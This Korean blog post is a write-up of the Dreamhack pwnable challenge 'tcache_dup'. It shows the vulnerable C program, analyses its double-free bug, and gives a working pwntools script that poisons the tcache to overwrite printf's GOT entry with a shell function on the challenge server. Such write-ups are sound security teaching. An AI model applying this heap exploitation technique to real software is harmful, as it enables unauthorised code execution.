[포너블] Tcache_dup

Chris Kim·2024년 10월 26일

시스템해킹

목록 보기
28/33

1. 분석

1.1 보안 기법 분석

카나리와 NX가 적용되어있다. PIE는 적용되어있지 않다.

1.2 소스 코드 분석

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

문자열 포인터 배열 ptrmallocfree를 통해 청크를 할당하고 있다. 별도의 초기화 과정은 이뤄지지 않고 있다. 따라서 Double Free Bug를 활용하여 실행흐름을 get_shell()로 가져가주면 될 것 같다.

2. 익스플로잇

2.1 설계

  • 프로그램 실행 흐름상 main함수의 리턴 어드레스를 변경하는 것은 힘들 것으로 예상된다. 대신 __free_hook 포인터 변수에 get_shell() 함수 주소를 전달하면 될 것 같다. 이는 DFB를 활용하여, free list 내 청크의 next를 조작하면 된다.

  • 문제는 DFB를 일으키는 방법이다. 이전에 푼 실습문제와 다르게 dangling pointer를 활용할 수 없어 보이는데, 괜찮다. 주어진 VM 서버에서 프로그램을 실행했을 때, delete를 여러번 해도 DFB를 감지하지 않기 때문이다.

  • 따라서 Double Free를 일으킨 다음, fd에 printf_got를 넣는다. 그 이후 더미로 create를 한 뒤, get_shell 주소를 데이터 영역에 넣으면서 create를 실행한다.

2.2 코드

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"

p = remote('host3.dreamhack.games',14464)
e = ELF('./tcache_dup')
libc = ELF('./libc-2.27.so')

def create(size, data):
 p.sendlineafter(b'> ', b'1')
 p.sendlineafter(b': ', str(size).encode())
 p.sendafter(b': ', data)

def delete(idx):
 p.sendlineafter(b'> ', b'2')
 p.sendlineafter(b': ', str(idx).encode())

get_shell = e.symbols['get_shell']
printf_got = e.got['printf']


create(48, b'AAAAAAAA')
delete(0)
delete(0)

create(48, p64(printf_got))
create(48, b'AAAAAAAA')
create(48, p64(get_shell))

p.interactive()
profile
회계+IT=???

0개의 댓글